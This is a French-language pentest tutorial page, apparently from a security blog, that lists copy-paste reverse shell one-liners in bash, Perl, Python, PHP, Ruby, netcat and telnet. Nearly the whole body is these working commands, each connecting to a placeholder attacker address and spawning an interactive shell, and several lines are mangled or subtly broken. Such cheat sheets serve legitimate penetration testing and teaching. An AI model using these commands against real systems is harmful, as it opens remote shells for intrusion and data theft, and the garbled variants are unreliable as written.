NeosLab.com
Exploitation

Comment Créer un Reverse Shell

Si vous avez la chance de trouver une vulnérabilité d’exécution de commande lors d’un test de pénétration, vous aurez probablement bientôt besoin d’un shell interactif.

S’il n’est pas possible d’ajouter un nouveau compte / clé SSH / fichier .rhosts et de vous connecter, votre prochaine étape consistera probablement à renvoyer un shell inversé ou à lier un shell à un port TCP.

Vos options de création d’un shell inversé sont limitées par les langages de script installés sur le système cible – bien que vous puissiez probablement télécharger un programme binaire si vous êtes convenablement préparé.

Les exemples présentés sont adaptés aux systèmes de type Unix. Certains des exemples ci-dessous devraient également fonctionner sous Windows si vous utilisez “/bin/sh -i” with “cmd.exe”.

Chacune des méthodes ci-dessous est destinée à être utilisées par un simple copier/coller. En tant que tels, elles sont assez courtes, et difficilement lisibles.


BASH

Certaines versions de bash peuvent vous envoyer un shell inversé (Testé sur Ubuntu 10.10)

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

OU

$ exec /bin/bash 0&0 2>&0

OU

$ 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

OU

$ exec 5<>/dev/tcp/attackerip/4444
$ cat <&5 | while read line; do $line 2>&5 >&5; done # or:
$ while read line 0<&5; do $line 2>&5 >&5; done
PERL

Voici une version courte qui dépend de /bin/sh:

$ perl -e 'use Socket;$i="10.0.0.1"; $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Shell inversé Perl plus court qui ne dépend pas de /bin/sh:

$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&>fdopen($c,r);
$~-&>fdopen($c,w);system$_ while<>;'

Si le système cible éxécute Windows, utilisez la commande suivante:

$ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&>fdopen($c,r);
$~-&>fdopen($c,w);system$_ while<>;'
PYTHON

Testé sous Linux / Python 2.7

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

Ce code suppose que la connexion TCP utilise le descripteur de fichier 3. Ceci a fonctionné sur la plupart des systèmes testé. Si cela ne fonctionne pas, essayez 4, 5, 6…

$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
RUBY

Voici une version courte qui dépend de /bin/sh:

$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Shell inversé Ruby plus court qui ne dépend pas de /bin/sh:

$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Si le système cible éxécute Windows, utilisez la commande suivante:

$ ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NETCAT

Netcat est rarement présent sur les systèmes en production et de même s’il existe plusieurs versions de Netcat, certaines ne supportent pas l’option -e.

$ nc -e /bin/sh 10.0.0.1 1234

Si vous avez installé la mauvaise version de Netcat, Jeff Price fait remarquer que vous pourrez toujours récupérer votre shell inversé comme ceci:

$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 &>/tmp/f

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

$ nc -c /bin/sh attackerip 4444

OU

$ /bin/sh | nc attackerip 4444

OU

$ rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
TELNET

Bien sûr, vous pouvez également utiliser Telnet comme alternative à Netcat:

$ rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

OR

# Remember to listen on your machine also on port 4445/tcp
$ telnet attackerip 4444 | /bin/bash | telnet attackerip 4445

Articles Similaires

Comment Exploiter la Vulnérabilité Shellshock CVE 2014-6271

neoslab

Comment Utiliser SQLmap pour Débutants

neoslab

Contourner les Antivirus avec des Payloads Encryptés à l’aide de Venom

neoslab

Laisser un commentaire

* By using this form you agree with the storage and handling of your data by this website.

Hey Wait!
Did you know ? You can build your Cyber security or IT career for FREE !
Make yourself happy, join our 8,000 members and receive FREE every day our latest tutorials and webinars to your mailbox!
Yes, Send it Over!
No Thanks!
close-link